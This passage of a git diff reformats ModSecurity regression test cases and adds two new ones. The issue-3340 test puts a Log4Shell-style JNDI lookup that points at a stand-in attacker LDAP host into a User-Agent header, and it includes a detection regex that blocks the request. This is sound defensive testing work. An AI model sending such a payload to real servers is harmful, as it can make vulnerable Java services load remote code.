"rules":[ - "SecRuleEngine On", - "SecAction \"phase:1,setvar:'tx.a=10'\"", - "SecRule TX|!TX:/a/ \"10\" \"id:10,deny,status:500\"" + "rules": [ + "SecRuleEngine On", + "SecAction \"phase:1,setvar:'tx.a=10'\"", + "SecRule TX|!TX:/a/ \"10\" \"id:10,deny,status:500\"" ] } ] diff --git a/test/test-cases/regression/issue-2423-msg-in-chain.json b/test/test-cases/regression/issue-2423-msg-in-chain.json index c667de0542..38cb890a30 100644 --- a/test/test-cases/regression/issue-2423-msg-in-chain.json +++ b/test/test-cases/regression/issue-2423-msg-in-chain.json @@ -1,124 +1,172 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Test match variable (1/n)", + "enabled": 1, + "version_min": 300000, + "title": "Test match variable (1/n)", "github_issue": 2423, - "expected":{ - "http_code": 437, - "error_log": "against variable `REQUEST_HEADERS:Transfer-Encoding' .Value: `deflate'" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Transfer-Encoding": "deflate" }, - "uri":"/match-this", - "method":"GET" + "uri": "/match-this", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "error_log": "against variable `REQUEST_HEADERS:Transfer-Encoding' .Value: `deflate'", + "http_code": 437 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI \"^.*$\" \"phase:2,deny,capture,id:1,msg:'MatchedVar On Msg: [%{MATCHED_VAR}]',logdata:'MatchedVar On LogData %{MATCHED_VAR}',chain\"", "SecRule REQUEST_HEADERS \"^.*$\" \"status:437\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Test match variable (2/n)", + "enabled": 1, + "version_min": 300000, + "title": "Test match variable (2/n)", "github_issue": 2423, - "expected":{ - "http_code": 437, - "error_log": "MatchedVar On Msg: .deflate." - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Transfer-Encoding": "deflate" }, - "uri":"/match-this", - "method":"GET" + "uri": "/match-this", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "error_log": "MatchedVar On Msg: .deflate.", + "http_code": 437 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI \"^.*$\" \"phase:2,deny,capture,id:1,msg:'MatchedVar On Msg: [%{MATCHED_VAR}]',logdata:'MatchedVar On LogData %{MATCHED_VAR}',chain\"", "SecRule REQUEST_HEADERS \"^.*$\" \"status:437\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Test match variable (3/n)", + "enabled": 1, + "version_min": 300000, + "title": "Test match variable (3/n)", "github_issue": 2423, - "expected":{ - "http_code": 437, - "error_log": "MatchedVar On LogData: deflate" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Transfer-Encoding": "deflate" }, - "uri":"/match-this", - "method":"GET" + "uri": "/match-this", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "error_log": "MatchedVar On LogData: deflate", + "http_code": 437 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI \"^.*$\" \"phase:2,deny,capture,id:1,msg:'MatchedVar On Msg: [%{MATCHED_VAR}]',logdata:'MatchedVar On LogData: %{MATCHED_VAR}',chain\"", "SecRule REQUEST_HEADERS \"^.*$\" \"status:437\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Test match variable (4/n)", + "enabled": 1, + "version_min": 300000, + "title": "Test match variable (4/n)", "github_issue": 2423, - "expected":{ - "http_code": 437, - "error_log": "msg \"Illegal header \\[/restricted/\\]\"" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "Restricted":"attack", - "Other": "Value" + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Restricted": "attack", + "Other": "Value", + "Content-Length": "0" + }, + "uri": "/", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/", - "method":"GET" + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "error_log": "msg \"Illegal header \\[/restricted/\\]\"", + "http_code": 437 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS_NAMES \"^.*$\" \"phase:2,setvar:'tx.header_name_%{TX.0}=/%{TX.0}/',deny,t:lowercase,capture,id:500065,msg:'Illegal header [%{MATCHED_VAR}]',logdata:'Restricted header detected: %{MATCHED_VAR}',chain\"", "SecRule TX:/^header_name_/ \"@within /name1/restricted/name3/\" \"status:437\"" diff --git a/test/test-cases/regression/issue-2427.json b/test/test-cases/regression/issue-2427.json index 02f7b16f86..53aae01f52 100644 --- a/test/test-cases/regression/issue-2427.json +++ b/test/test-cases/regression/issue-2427.json @@ -1,55 +1,63 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Tmp file retained for @inspectFile (1/2)", - "resource":"lua", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Tmp file retained for @inspectFile (1/2)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "658", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"small2.txt\" ", - "Content-Type: text/plain", - "", - "This is another very small test file that contains the search content abcdef..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"small2.txt\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file that contains the search content abcdef..\n", + "----------------------------756b6d74fa1a8ee2--\n" ] }, - "expected":{ - "debug_log":"Returning from lua script: abcdef.*Rule returned 1", - "http_code":403 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Returning from lua script: abcdef.*Rule returned 1", + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecTmpSaveUploadedFiles On", @@ -60,55 +68,63 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Tmp file retained for @inspectFile (2/2)", - "resource":"lua", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Tmp file retained for @inspectFile (2/2)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "677", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name2\"\r\n", + "\r\n", + "test2\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"small2.txt\" \r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file that does not contain the search content.\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"small2.txt\" ", - "Content-Type: text/plain", - "", - "This is another very small test file that does not contain the search content.", - "----------------------------756b6d74fa1a8ee2--" + "body": [ + "" ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecTmpSaveUploadedFiles On", diff --git a/test/test-cases/regression/issue-3340.json b/test/test-cases/regression/issue-3340.json new file mode 100644 index 0000000000..787448acbc --- /dev/null +++ b/test/test-cases/regression/issue-3340.json @@ -0,0 +1,54 @@ +[ + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Decode HTML entities with padding", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "${jndi:ldap://evil.om/w}", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" + }, + "uri": "/", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8", + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_HEADERS \"@rx (?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)\" \"id:944150,phase:2,deny,t:none,t:urlDecodeUni,t:jsDecode,t:htmlEntityDecode,log\"" + ] + } +] diff --git a/test/test-cases/regression/issue-3489-inspectfile-posix.json b/test/test-cases/regression/issue-3489-inspectfile-posix.json new file mode 100644 index 0000000000..7ed8d58aa5 --- /dev/null +++ b/test/test-cases/regression/issue-3489-inspectfile-posix.json @@ -0,0 +1,131 @@ +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Issue 3489: @inspectFile executes external helper without shell (match)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/whee?res=match", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Rule returned 1.", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:res \"@inspectFile test-cases/data/inspectfile-posix-helper.sh\" \"id:348901,phase:2,pass,t:none\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Issue 3489: @inspectFile executes external helper without shell (no match)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/whee?res=nomatch", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Rule returned 0.", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:res \"@inspectFile test-cases/data/inspectfile-posix-helper.sh\" \"id:348902,phase:2,pass,t:none\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Issue 3489: @inspectFile handles exec failure as no match", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/whee?res=match", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Rule returned 0.", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:res \"@inspectFile test-cases/data/inspectfile-not-executable.txt\" \"id:348903,phase:2,pass,t:none\"" + ] + } +] diff --git a/test/test-cases/regression/issue-394.json b/test/test-cases/regression/issue-394.json index 82827ac868..0e64fb9968 100644 --- a/test/test-cases/regression/issue-394.json +++ b/test/test-cases/regression/issue-394.json @@ -1,38 +1,44 @@ [ -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "Segmentation fault when uploading file with SecStreamInBodyInspection enabled", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/394", - "gihub_issue": 394, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { - "headers": "", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, - "expected": { - "audit_logs": "", - "debug_logs": "", - "error_logs": "" - }, - "rules": [ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecResponseBodyAccess On" - ] -} + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "Segmentation fault when uploading file with SecStreamInBodyInspection enabled", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/394", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecResponseBodyAccess On" + ] + } ] diff --git a/test/test-cases/regression/issue-849.json b/test/test-cases/regression/issue-849.json index 60e0d4e2a4..704ae14665 100644 --- a/test/test-cases/regression/issue-849.json +++ b/test/test-cases/regression/issue-849.json @@ -3,8 +3,8 @@ "enabled": 1, "version_min": 209000, "version_max": -1, - "title": "@ipMatch \"Could not add entry\" on slash\/32 notation in 2.9.0 (1/2)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/849", + "title": "@ipMatch \"Could not add entry\" on slash/32 notation in 2.9.0 (1/2)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/849", "client": { "ip": "200.249.12.31", "port": 2313 @@ -17,7 +17,7 @@ "headers": { "Host": "net.tutsplus.com", "User-Agent": "", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -25,33 +25,39 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=bar", + "uri": "/test.pl?foo=bar", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "http_code": 403 }, "rules": [ "SecRuleEngine On", - "SecRule REMOTE_ADDR \"@ipMatch 200.249.12.31\/32\" \"phase:1,nolog,pass,msg:'Localhost connection',id:1,deny,status:403\"" + "SecRule REMOTE_ADDR \"@ipMatch 200.249.12.31/32\" \"phase:1,nolog,pass,msg:'Localhost connection',id:1,deny,status:403\"" ] }, { "enabled": 1, "version_min": 209000, "version_max": -1, - "title": "@ipMatch \"Could not add entry\" on slash\/32 notation in 2.9.0 (2/2)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/849", + "title": "@ipMatch \"Could not add entry\" on slash/32 notation in 2.9.0 (2/2)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/849", "client": { "ip": "200.249.12.31", "port": 2313 @@ -64,7 +70,7 @@ "headers": { "Host": "net.tutsplus.com", "User-Agent": "", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -72,18 +78,24 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=bar", + "uri": "/test.pl?foo=bar", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "http_code": 403 diff --git a/test/test-cases/regression/issue-960.json b/test/test-cases/regression/issue-960.json index 0fdb1ceaca..4b7c56ac7d 100644 --- a/test/test-cases/regression/issue-960.json +++ b/test/test-cases/regression/issue-960.json @@ -1,124 +1,137 @@ [ -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "!@within appears to fail (1/3)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/960", - "gihub_issue": 960, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 - }, - "request": { + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "!@within appears to fail (1/3)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/960", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { "headers": { - "Host": "www.google.com" + "Host": "www.google.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { - "audit_log": "", "debug_log": "\\(Rule: 960032\\) .* Rule returned 0.", - "error_log": "" + "http_code": 200 }, - "rules": [ - "SecDefaultAction \"phase:1,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", - "SecDefaultAction \"phase:2,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", - "SecAction \"id:'900012',phase:request,nolog,pass,t:none,setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'\"", - "SecRule REQUEST_METHOD \"!@within %{tx.allowed_methods}\" \"msg:'Method is not allowed by policy',severity:'WARNING',id:'960032',phase:request,block,rev:'2',ver:'OWASP_CRS/3.0.0',maturity:'9',accuracy:'9',tag:'application-multi',tag:'language-multi',tag:'platform-multi',tag:'attack-generic',tag:'OWASP_CRS/POLICY/METHOD_NOT_ALLOWED',tag:'WASCTC/WASC-15',tag:'OWASP_TOP_10/A6',tag:'OWASP_AppSensor/RE1',tag:'PCI/12.1',logdata:'%{matched_var}',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/POLICY/METHOD_NOT_ALLOWED-%{matched_var_name}=%{matched_var}\"" + "rules": [ + "SecDefaultAction \"phase:1,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", + "SecDefaultAction \"phase:2,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", + "SecAction \"id:'900012',phase:request,nolog,pass,t:none,setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'\"", + "SecRule REQUEST_METHOD \"!@within %{tx.allowed_methods}\" \"msg:'Method is not allowed by policy',severity:'WARNING',id:'960032',phase:request,block,rev:'2',ver:'OWASP_CRS/3.0.0',maturity:'9',accuracy:'9',tag:'application-multi',tag:'language-multi',tag:'platform-multi',tag:'attack-generic',tag:'OWASP_CRS/POLICY/METHOD_NOT_ALLOWED',tag:'WASCTC/WASC-15',tag:'OWASP_TOP_10/A6',tag:'OWASP_AppSensor/RE1',tag:'PCI/12.1',logdata:'%{matched_var}',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/POLICY/METHOD_NOT_ALLOWED-%{matched_var_name}=%{matched_var}\"" ] -}, -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "!@within appears to fail (2/3)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/960", - "gihub_issue": 960, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 }, - "request": { + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "!@within appears to fail (2/3)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/960", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { "headers": { - "Host": "www.google.com" + "Host": "www.google.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { - "audit_log": "", - "error_log": "", "http_code": 418 }, - "rules": [ - "SecRuleEngine On", - "SecDefaultAction \"phase:1,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", - "SecDefaultAction \"phase:2,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", - "SecAction \"id:'900012',phase:request,nolog,pass,t:none,setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'\"", - "SecRule REQUEST_METHOD \"@within %{tx.allowed_methods}\" \"msg:'Method is not allowed by policy',severity:'WARNING',id:'960032',phase:request,block,rev:'2',ver:'OWASP_CRS/3.0.0',maturity:'9',accuracy:'9',tag:'application-multi',tag:'language-multi',tag:'platform-multi',tag:'attack-generic',tag:'OWASP_CRS/POLICY/METHOD_NOT_ALLOWED',tag:'WASCTC/WASC-15',tag:'OWASP_TOP_10/A6',tag:'OWASP_AppSensor/RE1',tag:'PCI/12.1',logdata:'%{matched_var}',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/POLICY/METHOD_NOT_ALLOWED-%{matched_var_name}=%{matched_var}\"" + "rules": [ + "SecRuleEngine On", + "SecDefaultAction \"phase:1,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", + "SecDefaultAction \"phase:2,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", + "SecAction \"id:'900012',phase:request,nolog,pass,t:none,setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'\"", + "SecRule REQUEST_METHOD \"@within %{tx.allowed_methods}\" \"msg:'Method is not allowed by policy',severity:'WARNING',id:'960032',phase:request,block,rev:'2',ver:'OWASP_CRS/3.0.0',maturity:'9',accuracy:'9',tag:'application-multi',tag:'language-multi',tag:'platform-multi',tag:'attack-generic',tag:'OWASP_CRS/POLICY/METHOD_NOT_ALLOWED',tag:'WASCTC/WASC-15',tag:'OWASP_TOP_10/A6',tag:'OWASP_AppSensor/RE1',tag:'PCI/12.1',logdata:'%{matched_var}',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/POLICY/METHOD_NOT_ALLOWED-%{matched_var_name}=%{matched_var}\"" ] -}, -{ - "enabled": 1, - "version_min": 209000, - "version_max": -1, - "title": "!@within appears to fail (3/3)", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/960", - "gihub_issue": 960, - "client": { - "ip": "200.249.12.31", - "port": 2313 - }, - "server": { - "ip": "200.249.12.31", - "port": 80 }, - "request": { + { + "enabled": 1, + "version_min": 209000, + "version_max": -1, + "title": "!@within appears to fail (3/3)", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/960", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { "headers": { - "Host": "www.google.com" + "Host": "www.google.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", - "body": "", - "method": "GET", - "http_version": 1.1 - }, - "response": { - "headers": "", - "body": "" - }, + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, "expected": { - "audit_log": "", - "error_log": "", "http_code": 418 }, - "rules": [ - "SecRuleEngine On", - "SecDefaultAction \"phase:1,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", - "SecDefaultAction \"phase:2,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", - "SecAction \"id:'900012',phase:request,nolog,pass,t:none,setvar:'tx.allowed_methods=HEAD POST OPTIONS'\"", - "SecRule REQUEST_METHOD \"!@within %{tx.allowed_methods}\" \"msg:'Method is not allowed by policy',severity:'WARNING',id:'960032',phase:request,block,rev:'2',ver:'OWASP_CRS/3.0.0',maturity:'9',accuracy:'9',tag:'application-multi',tag:'language-multi',tag:'platform-multi',tag:'attack-generic',tag:'OWASP_CRS/POLICY/METHOD_NOT_ALLOWED',tag:'WASCTC/WASC-15',tag:'OWASP_TOP_10/A6',tag:'OWASP_AppSensor/RE1',tag:'PCI/12.1',logdata:'%{matched_var}',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/POLICY/METHOD_NOT_ALLOWED-%{matched_var_name}=%{matched_var}\"" + "rules": [ + "SecRuleEngine On", + 